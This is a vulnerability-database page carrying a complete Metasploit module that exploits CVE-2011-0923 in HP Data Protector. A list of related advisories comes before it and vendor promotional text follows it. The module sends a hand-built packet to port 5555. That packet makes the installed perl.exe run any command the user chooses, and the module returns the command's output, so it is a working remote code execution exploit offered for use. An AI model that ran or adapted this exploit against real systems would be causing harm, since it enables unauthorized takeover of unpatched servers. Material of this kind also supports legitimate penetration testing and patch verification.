| Reporter | Title | Published | Views | Family All 43 |
|---|---|---|---|---|
| HP Data Protector Client Code Execution Vulnerability PoC (ZDI-11-055) | 28 May 201100:00 | – | zdt | |
| HP Data Protector Remote Shell for HP-UX | 5 Aug 201100:00 | – | zdt | |
| HP Data Protector Remote Root Shell for Linux | 10 Aug 201100:00 | – | zdt | |
| HP Data Protector 6.1 EXEC_CMD Remote Code Execution | 25 Feb 201200:00 | – | zdt | |
| CVE-2011-0923 | 28 May 201100:00 | – | circl | |
| HP Data Protector Client EXEC_CMD Command Execution (CVE-2011-0923) | 1 Nov 201100:00 | – | checkpoint_advisories | |
| Hp Data Protector Remote Client EXEC_CMD Code Execution - Ver2 (CVE-2011-0923) | 5 Jul 201800:00 | – | checkpoint_advisories | |
| CVE-2011-0923 | 9 Feb 201100:00 | – | cve | |
| CVE-2011-0923 | 9 Feb 201100:00 | – | cvelist | |
| HP Data Protector Client 6.11 - 'EXEC_CMD' Remote Code Execution | 28 May 201100:00 | – | exploitdb |
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector Arbitrary Remote Command Execution',
'Description' => %q{
This script allows to execute a command with an arbitrary number
of arguments on Microsoft Windows operating systems. The trick
calls a perl.exe interpreter installed with HP Data Protector
inside the directory {install_path}/bin/.
The main goal of the script is to bypass the limitation of execute
only a single command without parameters, as provided by already existing
exploits. It is possible to exploit the security issue in order to run
any command inside the target system.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alessandro Di Pinto <alessandro.dipinto () artificialstudios org>',
'Claudio Moletta <mclaudio () gmail com>',
],
'References' =>
[
[ 'CVE', '2011-0923'],
[ 'OSVDB', '72526'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143'],
],
))
register_options(
[
Opt::RPORT(5555),
OptString.new('CMD', [ true, 'The OS command to execute', 'ipconfig /all'])
], self.class)
end
def run
begin
command = datastore['CMD']
command = command.gsub("\\","\\\\\\")
offset = 45
size_command = (offset + command.length).chr
crafted_pkt = "\x00\x00\x00"
crafted_pkt << size_command
crafted_pkt << "\x32\x00\x01"
crafted_pkt << "\x01\x01\x01"
crafted_pkt << "\x01\x01\x00"
crafted_pkt << "\x01\x00\x01"
crafted_pkt << "\x00\x01\x00"
crafted_pkt << "\x01\x01\x00"
crafted_pkt << "\x2028\x00"
crafted_pkt << "\\perl.exe"
crafted_pkt << "\x00 -esystem('#{command}')\x00"
print_status "Connecting to target '#{rhost}:#{rport}'"
connect
print_good "Connected"
if (datastore['CMD'])
print_status "Sending payload '#{command}'\n"
sock.put(crafted_pkt)
# Clean and parse results
while true
response_size = sock.recv(4)
response_size = response_size.unpack('N')[0]
break if response_size.nil?
response = sock.recv(response_size)[5..-1]
response = response.delete("\x00")
# Check for the end-of-message
break if response.include?("RETVAL")
print response if not response.empty?
end
end
disconnect
rescue ::Rex::ConnectionRefused
print_error "Connection refused '#{rhost}:#{rport}'"
rescue ::Rex::ConnectionError
print_error "Connection error '#{rhost}:#{rport}'"
end
end
end
# 0day.today [2018-02-18] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation